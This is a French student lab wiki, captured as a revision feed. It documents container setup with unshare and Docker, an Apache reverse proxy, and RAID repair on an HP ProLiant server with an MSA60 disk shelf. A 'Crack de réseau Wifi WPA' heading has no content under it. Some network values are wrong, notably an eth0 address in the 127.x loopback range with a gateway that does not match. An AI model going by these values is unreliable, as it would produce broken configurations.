Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
&lt;br /&gt;
==Installation de Devuan==&lt;br /&gt;
Le serveur peut booter sur un périphérique USB, nous avons donc récupéré une clé avec un Devuan bootable installé dessus. Après avoir mis la clé en premier boot dans le bios, le serveur boot sans souci sur la clé.&lt;br /&gt;
Le souci que nous allons rencontrer se trouve au moment du partitionnement. De vieilles grappes RAID sont toujours configurées et plus d'actualité, nous allons donc y remédier.&lt;br /&gt;
&lt;br /&gt;
Pour ce faire, nous entrons dans l'utilitaire de configuration RAID (au boot F9 puis F8), supprimons toutes les grappes existantes et en créons une nouvelle en RAID5.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous pouvons installer notre Devuan sur la grappe avec les configurations classiques (utilisateur pifou et mot de passe habituel).&lt;br /&gt;
&lt;br /&gt;
==Configurations réseau==&lt;br /&gt;
Dans un premier temps, nous avons raccordé l'interface réseau principale du serveur au réseau polytech.&lt;br /&gt;
&lt;br /&gt;
Nous avons trouvé une adresse ip disponible sur le réseau et l'avons configurée dans interfaces :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/network/interfaces&lt;br /&gt;
&lt;br /&gt;
Pour l'interface eth0 :&lt;br /&gt;
&lt;br /&gt;
  address 127.26.145.146/24&lt;br /&gt;
  gateway 192.26.145.253&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous avons configuré les DNS :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
  domain polytech-lille.org&lt;br /&gt;
  search deule.net&lt;br /&gt;
  nameserver 192.48.57.48&lt;br /&gt;
  nameserver 193.48.57.33&lt;br /&gt;
&lt;br /&gt;
Et enfin nous avons ajouté le proxy polytech :&lt;br /&gt;
&lt;br /&gt;
  nano ~/.profile&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
Une fois fait, notre serveur avait accès au réseau de polytech.&lt;br /&gt;
&lt;br /&gt;
==Mise en route du DAS==&lt;br /&gt;
Comme dit précédemment, le DAS et le serveur communiquent via un port SAS, or nous n'avions pas de câble. Nous avons donc lancé une commande de 4 câbles, et afin de pouvoir travailler, avons emprunté un cable dans le local technique.&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Une fois les branchements effectués, nous pouvons mettre le DAS sous tension, celui ci démarre sans difficulté et les jeux de couleurs de leds nous montrent que certains disques peuvent être défectueux.&lt;br /&gt;
&lt;br /&gt;
Coté serveur, un lsblk nous montre que les disques ne sont pas encore visibles.&lt;br /&gt;
Afin d'y remédier, nous retournons dans l'utilitaire RAID du bios pour créer un RAID5 avec les disques présents.&lt;br /&gt;
&lt;br /&gt;
De retour sur devuan, la grappe est visible via lsblk.&lt;br /&gt;
&lt;br /&gt;
==Installation des outils HP==&lt;br /&gt;
HP fournit un outil en ligne de commandes nous permettant d'administrer les disques : ssacli.&lt;br /&gt;
&lt;br /&gt;
L'installation se fait via les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
Ajout du dépôt :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ stretch/current non-free&lt;br /&gt;
  deb http://downloads.linux.hpe.com/SDR/repo/mcp/ precise/current non-free&lt;br /&gt;
&lt;br /&gt;
Ajout des clés :&lt;br /&gt;
&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey1024.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpPublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
  curl http://downloads.linux.hpe.com/SDR/hpePublicKey2048_key1.pub | apt-key add -&lt;br /&gt;
&lt;br /&gt;
Si curl n'est pas installé, vérifier que le dépot devuan est dans le fichier sources.list :&lt;br /&gt;
&lt;br /&gt;
  nano /etc/apt/sources.list&lt;br /&gt;
&lt;br /&gt;
  deb http://deb.devuan.org/merged ascii main&lt;br /&gt;
  deb-src http://deb.devuan.org/merged ascii main&lt;br /&gt;
&lt;br /&gt;
Rafraîchir les sources :&lt;br /&gt;
&lt;br /&gt;
  apt-get update&lt;br /&gt;
&lt;br /&gt;
Installer curl :&lt;br /&gt;
&lt;br /&gt;
  apt-get install curl&lt;br /&gt;
&lt;br /&gt;
Réessayer d'ajouter les clés.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, on eut procéder à l'installation des outils HP :&lt;br /&gt;
&lt;br /&gt;
  apt-get install hp-health ssacli&lt;br /&gt;
&lt;br /&gt;
=Séance 4 : TP PRA (Suite)=&lt;br /&gt;
Dans un premier temps, nous commençons par remplacer les disques défectueux.&lt;br /&gt;
Grâce à la commande&lt;br /&gt;
&lt;br /&gt;
  ssacli ctrl all show config detail&lt;br /&gt;
&lt;br /&gt;
nous pouvons voir que deux disques sont en predictive failure (les disques 3 et 8) et un disque est HS (le disque 4).&lt;br /&gt;
&lt;br /&gt;
Nous procédons au remplacement par des disques neufs.&lt;br /&gt;
&lt;br /&gt;
Une fois fait, nous ajoutons le disque 6 qui était manquant.&lt;br /&gt;
&lt;br /&gt;
Le nouveau disque en place, nous allons essayer de l'ajouter à la grappe existante.&lt;br /&gt;
&lt;br /&gt;
On entre dans le programme ssacli et on fait un premier était des lieux :&lt;br /&gt;
&lt;br /&gt;
  ctrl all show config&lt;br /&gt;
&lt;br /&gt;
Cela nous permet d'apprendre que nous avons notre grappe de 1TB en Array A et celle de 10TB en Array B, et que notre controlleur est sur le slot 4.&lt;br /&gt;
&lt;br /&gt;
On liste ensuite les disques physiques :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot 4 pd all show&lt;br /&gt;
&lt;br /&gt;
Notre disque a ajouter est le 1E:1:6&lt;br /&gt;
&lt;br /&gt;
On l'ajoute alors a la grappe B :&lt;br /&gt;
&lt;br /&gt;
  array B add drives=1E:1:6&lt;br /&gt;
&lt;br /&gt;
Ceci nous retournera un message d'erreur nous indiquant que le cache est désactivé du fait que la batterie du contrôleur est morte. Ceci est visible en lançant la commande :&lt;br /&gt;
&lt;br /&gt;
  show&lt;br /&gt;
&lt;br /&gt;
IMAGE&lt;br /&gt;
&lt;br /&gt;
Etant donné que nous n'avons pas de données  perdre sur les disques, nous allons supprimer la grappe existante et en recréer une nouvelle.&lt;br /&gt;
&lt;br /&gt;
  controller slot=4 array B delete&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 create type=ld drives=1E:1:1,1E:1:2,1E:1:3,1E:1:4,1E:1:5,1E:1:6,1E:1:7,1E:1:8,1E:1:9,1E:1:10,1E:1:11,1E:1:12 raid=5&lt;br /&gt;
&lt;br /&gt;
La grappe raid est créée avec succès, nous pouvons d'ailleurs suivre son état :&lt;br /&gt;
&lt;br /&gt;
  array B show&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
De cette manière nous pouvons voir que le disque rajouté au slot 6 est également en predictive failure.&lt;br /&gt;
&lt;br /&gt;
Nous procédons à son remplacement, et après quelque instants un show config nous montre que le raid est en reconstruction :&lt;br /&gt;
&lt;br /&gt;
  ctrl slot=4 show config&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[fichier:Reconstruction raid.jpg|center|600px]]&lt;br /&gt;
&lt;br /&gt;
=Séance 5 : Mise en place du serveur DNS et crack WPA2=&lt;br /&gt;
&lt;br /&gt;
==Mise en place du serveur DNS==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Crack de réseau Wifi WPA==&lt;/div&gt;</summary>
		<author><name>Tcattela</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48123</id>
		<title>TP sysres IMA5sc 2018/2019 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G9&amp;diff=48123"/>
				<updated>2018-11-27T10:02:03Z</updated>
		
		<summary type="html">&lt;p&gt;Tcattela : /* Séance 4 : TP PRA (Suite) */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Séance 1 : TP ASR=&lt;br /&gt;
Lors de cette première séance, nous avons eu pour objectif de créer les 3 containers et de les faire communiquer.&lt;br /&gt;
&lt;br /&gt;
==Création d'un container avec unshare==&lt;br /&gt;
&lt;br /&gt;
===Création de l'image disque===&lt;br /&gt;
  dd if=/dev/zero of=disc1.img bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
===Mise en place du file system===&lt;br /&gt;
  mkfs disc1.img&lt;br /&gt;
&lt;br /&gt;
===Création du point de montage et montage de l'image===&lt;br /&gt;
  mkdir /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Installation du debian dans le point de montage===&lt;br /&gt;
Afin de pouvoir installer debian, il faut que la machine accède à internet :&lt;br /&gt;
&lt;br /&gt;
  export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
&lt;br /&gt;
debootstrap permet d'installer debian ainsi que apache2 et vim pour que nous puissions travailler dans la séance 2 :&lt;br /&gt;
&lt;br /&gt;
  debootstrap --include=nano,vim,apache2 stable /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
===Simplification de l'accès===&lt;br /&gt;
  echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; /tmp/rootfs1/etc/fstab&lt;br /&gt;
&lt;br /&gt;
===Clonage des images===&lt;br /&gt;
  L'image est maintenant prête, nous pouvons maintenant la cloner afin d'en avoir 3 identiques. Pour cela on démonte l'image 1 :&lt;br /&gt;
&lt;br /&gt;
  umount /tmp/rootfs1&lt;br /&gt;
&lt;br /&gt;
On copie l'image :&lt;br /&gt;
&lt;br /&gt;
  cp disc1.img disc2.img&lt;br /&gt;
  cp disc1.img disc3.img&lt;br /&gt;
&lt;br /&gt;
On monte les 3 images :&lt;br /&gt;
&lt;br /&gt;
  mount -o loop disc1.img /tmp/rootfs1&lt;br /&gt;
  mount -o loop disc2.img /tmp/rootfs2&lt;br /&gt;
  mount -o loop disc3.img /tmp/rootfs3&lt;br /&gt;
&lt;br /&gt;
===Lancement des trois containers===&lt;br /&gt;
  unshare nous permet de lancer les trois images précédemment montées :&lt;br /&gt;
&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
  unshare -n -u -p -f -m chroot /tmp/rootfs3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Les trois containers sont maintenant lancés, nous pouvons travailler dessus.&lt;br /&gt;
&lt;br /&gt;
==Mise en place du réseau==&lt;br /&gt;
&lt;br /&gt;
Nos containers étant lancés et fonctionnels, nous allons maintenant les connecter en réseau.&lt;br /&gt;
&lt;br /&gt;
===Création de 4 interfaces virtuelles===&lt;br /&gt;
&lt;br /&gt;
  ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
  ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
  ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
  ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
===Connexion de chaque interface à une interface eth0 sur les containers===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth0@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif2 netns /proc/&amp;lt;pid2&amp;gt;/ns/net name eth0&lt;br /&gt;
  ip link set eth0@vif3 netns /proc/&amp;lt;pid3&amp;gt;/ns/net name eth0&lt;br /&gt;
&lt;br /&gt;
pid1, pid2, pid3 peuvent être déterminés via la commande :&lt;br /&gt;
  ps aux | grep unshare&lt;br /&gt;
&lt;br /&gt;
===Connexion à eth1 sur le premier container===&lt;br /&gt;
&lt;br /&gt;
  ip link set eth1@vif1 netns /proc/&amp;lt;pid1&amp;gt;/ns/net name eth1&lt;br /&gt;
&lt;br /&gt;
===Création d'un bridge===&lt;br /&gt;
&lt;br /&gt;
  ip link add interne type bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif4 à bridge===&lt;br /&gt;
L'interface eth0 de la zabeth est sur le bridge, on connecte donc vif4 à bridge&lt;br /&gt;
&lt;br /&gt;
  ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
===Ajout de vif1, vif2, vif3 à interne===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 master interne&lt;br /&gt;
  ip link set vif2 master interne&lt;br /&gt;
  ip link set vif3 master interne&lt;br /&gt;
&lt;br /&gt;
===Activation de toutes les interfaces===&lt;br /&gt;
&lt;br /&gt;
  ip link set vif1 up&lt;br /&gt;
  ip link set vif2 up&lt;br /&gt;
  ip link set vif3 up&lt;br /&gt;
  ip link set bridge up&lt;br /&gt;
  ip link set interne up&lt;br /&gt;
&lt;br /&gt;
===Attribution des adresses ip===&lt;br /&gt;
&lt;br /&gt;
On commence par attribuer les ip de la forme 192.168.4.xxx aux interfaces connectées à bridge :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth0 192.168.4.1/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID2&amp;gt; -n ip address add dev eth0 192.168.4.2/24&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID3&amp;gt; -n ip address add dev eth0 192.168.4.3/24&lt;br /&gt;
&lt;br /&gt;
On attribue une ip vacante sur 172.26.145.xxx au container 1 sur l'interface eth1 :&lt;br /&gt;
&lt;br /&gt;
  nsenter -t &amp;lt;PID1&amp;gt; -n ip address add dev eth1 172.26.145.234/24&lt;br /&gt;
&lt;br /&gt;
===Activation des interfaces sur les containers&amp;gt;===&lt;br /&gt;
Sur chaque containers, lancer :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth0 up&lt;br /&gt;
  ip link set dev lo up&lt;br /&gt;
&lt;br /&gt;
Ainsi que sur le container 1 :&lt;br /&gt;
&lt;br /&gt;
  ip link set dev eth1 up&lt;br /&gt;
&lt;br /&gt;
Les containers sont maintenant fonctionnels et connectés selon le schéma suivant :&lt;br /&gt;
&lt;br /&gt;
  bridge : eth0 eth1 vif4&lt;br /&gt;
&lt;br /&gt;
  interne : vif1 vif2 vif3&lt;br /&gt;
&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# brctl show&lt;br /&gt;
 bridge name	bridge id		STP enabled	interfaces&lt;br /&gt;
 br-d8330a30a134		8000.0242b8ae38c5	no&lt;br /&gt;
 bridge		8000.00224d7aeaa1	no		eth0&lt;br /&gt;
                                         eth1&lt;br /&gt;
                                         vif4&lt;br /&gt;
 docker0		8000.0242ad165937	no		veth0b1f71b&lt;br /&gt;
 interne		8000.3ee68d5b1e14	no		vif1&lt;br /&gt;
                                         vif2&lt;br /&gt;
                                         vif3&lt;br /&gt;
&lt;br /&gt;
=Séance 2 : TP ASR (suite)=&lt;br /&gt;
Lors de cette séance, nous allons configurer apache2 afin de pouvoir accéder à deux sites web différents hébergés sur les containers 2 et 3, et ce depuis des noms de domaine choisis.&lt;br /&gt;
&lt;br /&gt;
==Attribution des noms de domaine==&lt;br /&gt;
&lt;br /&gt;
Afin d'obtenir un nom de domaine, nous nous connections sur gandi.net.&lt;br /&gt;
&lt;br /&gt;
Onglet Domaines, on choisit le domaine plil.space.&lt;br /&gt;
&lt;br /&gt;
Onglet DNS Records, on ajoute un DNS type A :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham2&lt;br /&gt;
  IP : 172.26.145.234&lt;br /&gt;
&lt;br /&gt;
Puis on ajoute deux DNS type Cname :&lt;br /&gt;
&lt;br /&gt;
  Nom : tham1 &amp;amp; tham3&lt;br /&gt;
  Nom d'hote : tham2&lt;br /&gt;
&lt;br /&gt;
De cette manière, nous pouvons maintenant accéder à 172.26.145.234 via tham1.plil.space et tham3.plil.space&lt;br /&gt;
&lt;br /&gt;
==Configuration d'apache2==&lt;br /&gt;
&lt;br /&gt;
===Fichier conf===&lt;br /&gt;
Les configurations de site se trouvent dans /etc/apache2/sites-available/, nous allons donc configurer 000-default.conf :&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
  	ServerName tham1.plil.space&lt;br /&gt;
  	ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham1/&lt;br /&gt;
  &lt;br /&gt;
  	ProxyPass / http://192.168.4.2/&lt;br /&gt;
  	ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
  	ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
  	CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName tham3.plil.space&lt;br /&gt;
      ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
  	DocumentRoot /var/www/html/tham3/&lt;br /&gt;
  	&lt;br /&gt;
      ProxyPass / http://192.168.4.3/&lt;br /&gt;
      ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
      ProxyRequests Off&lt;br /&gt;
  &lt;br /&gt;
  	ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
      CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redirige tham1.plil.space vers le container 2 et tham3.plil.space vers le container 3 via leurs ip (192.168.4.2 et 192.168.4.3)&lt;br /&gt;
&lt;br /&gt;
===Activation des modules proxy et proxy_http===&lt;br /&gt;
&lt;br /&gt;
  a2enmod proxy&lt;br /&gt;
  a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
===Activation du site===&lt;br /&gt;
&lt;br /&gt;
  a2ensite 000-default.conf&lt;br /&gt;
&lt;br /&gt;
Tout est maintenant configuré, on peut donc rebooter apache :&lt;br /&gt;
&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Création d'une page web===&lt;br /&gt;
&lt;br /&gt;
Dans les containers 2 et 3 on créé une simple page web et on reboot apache :&lt;br /&gt;
&lt;br /&gt;
Container 2 :&lt;br /&gt;
&lt;br /&gt;
  cat 1 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Container 3 :&lt;br /&gt;
&lt;br /&gt;
  cat 3 /var/www/html/index.html&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
===Visualisation de la page web===&lt;br /&gt;
&lt;br /&gt;
On commence par désactiver le proxy sur firefox, et on peut accéder aux pages :&lt;br /&gt;
&lt;br /&gt;
  tham1.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 1&lt;br /&gt;
&lt;br /&gt;
  tham3.plil.space/index.html&lt;br /&gt;
&lt;br /&gt;
firefox affiche 3&lt;br /&gt;
&lt;br /&gt;
==Création d'un conteneur avec Docker :==&lt;br /&gt;
Nos conteneurs et serveur web fonctionnent très bien, mais la procedure de création est relativement longue, c'est pour cela que nous allons utiliser Docker pour recréer nos conteneurs et les gérer.&lt;br /&gt;
&lt;br /&gt;
===Création d'une première image :===&lt;br /&gt;
Nous avons créé un premier container à l'aide la commande :&lt;br /&gt;
 docker run -i -t debian /bin/bash&lt;br /&gt;
Exporte de la variable d'environement hhtp_proxy :&lt;br /&gt;
 export http_proxy=http://proxy.polytech-lille.fr:3128/&lt;br /&gt;
Instalation d'un éditeur de texte et d'un serveur web :&lt;br /&gt;
 apt-get install nano vi apache2&lt;br /&gt;
&lt;br /&gt;
===Création de trois conteneurs dans un même réseau :===&lt;br /&gt;
Avec un &amp;lt;code&amp;gt;docker ps&amp;lt;/code&amp;gt; nous avons recupérer l'id du conteneur puis :&lt;br /&gt;
 docker commit -m &amp;quot;debian&amp;quot; 367f5e8adddf&lt;br /&gt;
Création d'un réseau :&lt;br /&gt;
 docker network create tham&lt;br /&gt;
Création des trois conteneurs à partir de l'image, en veillant à bien relier le port 80 du reverse proxy au port 80 de la machine : &lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -i -t b7f9916f224e /bin/bash&lt;br /&gt;
 docker run --net tham -p 80:80 -i -t b7f9916f224e /bin/bash&lt;br /&gt;
Et donc :&lt;br /&gt;
 root@zabeth04:/home/pifou# docker ps&lt;br /&gt;
 CONTAINER ID        IMAGE               COMMAND                  CREATED             STATUS              PORTS                    NAMES&lt;br /&gt;
 8e4a821cf3a3        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              18 minutes ago      Up 18 minutes                                confident_leakey&lt;br /&gt;
 c5ec790866ae        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              19 minutes ago      Up 19 minutes                                objective_golick&lt;br /&gt;
 b287061163af        b7f9916f224e        &amp;quot;/bin/bash&amp;quot;              22 minutes ago      Up 22 minutes       0.0.0.0:80-&amp;gt;80/tcp       objective_bhabha&lt;br /&gt;
 8ee36885e7fb        registry:2          &amp;quot;/entrypoint.sh /etc…&amp;quot;   5 weeks ago         Up 38 minutes       0.0.0.0:5000-&amp;gt;5000/tcp   registry&lt;br /&gt;
&lt;br /&gt;
===Configuration de apache2 :===&lt;br /&gt;
Comme fait avant nous allons atribuer des noms de domaines aux adresse ip des conteneurs, sachant que l'adresse ip du DNS A est la même que l'adresse ip de la machine physique&lt;br /&gt;
Puis dans &amp;lt;code&amp;gt;/etc/apache2/sites-available/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 &lt;br /&gt;
 root@zabeth04:/etc/apache2/sites-available# cat 000-default.conf&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
 	 ServerName tham1.plil.space&lt;br /&gt;
 	 ServerAdmin webmaster@tham1.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham1/&lt;br /&gt;
 &lt;br /&gt;
 	 ProxyPass / http://192.168.4.2/&lt;br /&gt;
 	 ProxyPassReverse / http://192.168.4.2/&lt;br /&gt;
 	 ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
 	 CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
         ServerName tham3.plil.space&lt;br /&gt;
         ServerAdmin webmaster@tham3.plil.space&lt;br /&gt;
 	 DocumentRoot /var/www/html/tham3/&lt;br /&gt;
 &lt;br /&gt;
         ProxyPass / http://192.168.4.3/&lt;br /&gt;
         ProxyPassReverse / http://192.168.4.3/&lt;br /&gt;
         ProxyRequests Off&lt;br /&gt;
 &lt;br /&gt;
 	 ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
         CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 &lt;br /&gt;
 # vim: syntax=apache ts=4 sw=4 sts=4 sr noet&lt;br /&gt;
Après avoir modifer notre fichier html et relancer apache2, nous obtenant bien un résultat identique à celui d'avant.&lt;br /&gt;
&lt;br /&gt;
11h10 =&amp;gt; Serveurs Web OK (unshare)&lt;br /&gt;
&lt;br /&gt;
12h20 =&amp;gt; Serveurs Web OK (docker)&lt;br /&gt;
&lt;br /&gt;
=Séance 3 : TP PRA=&lt;br /&gt;
Le sujet choisi ici est le sujet n°10 : HP + DAS -&amp;gt; Baie.&lt;br /&gt;
Notre travail consiste à installer un OS Devuan sur un serveur HP et ensuite le connecter à un DAS HP.&lt;br /&gt;
&lt;br /&gt;
==Le matériel==&lt;br /&gt;
Le serveur est un HP ProLiant DL380 G5, ses caractéristiques sont les suivantes :&lt;br /&gt;
&lt;br /&gt;
XX&lt;br /&gt;
XX&lt;br /&gt;
&lt;br /&gt;
Le SAS est un HP StorageWorks MSA60.&lt;br /&gt;
Au départ nous pouvons voir qu'il est peuplé de 11 disques durs SATA classiques (pas comme le serveurs qui est peuplé de disques SATA dont le connecteur physique est spécifique HP). Chaque disque dur a une capacité de 1To.&lt;br /&gt;
&lt;br /&gt;
Sur le panneau arrière nous constatons qu'il  y a une redondance d'alimentations, et deux connecteurs SAS SFF-8088 (io/out)&lt;br /&gt;
&lt;br /&gt;
==Mise en route du serveur==&lt;br /&gt;
Lors de la mise en route du serveur, nous constations trois problèmes :&lt;br /&gt;
 -Les ventilateurs tournent à  100% sans arrêt.&lt;br /&gt;
 -La LED internal health clignote rouge.&lt;br /&gt;
 -Un bip long est émis périodiquement.&lt;br /&gt;
&lt;br /&gt;
De ce fait, nous avons ouvert le serveur, et une inspection visuelle montrera que ce dernier était dépourvu de RAM. Après consultation du manuel, nous avons vu que la RAM nécessaire était de la DDR2 ECC Registred.&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite monté 2x1Go de RAM sur le slot 1 et 3 correspondant au channel A.&lt;br /&gt;
&lt;br /&gt;
Une fois remonté, le serveur bootait correctement.&lt;br /&gt;
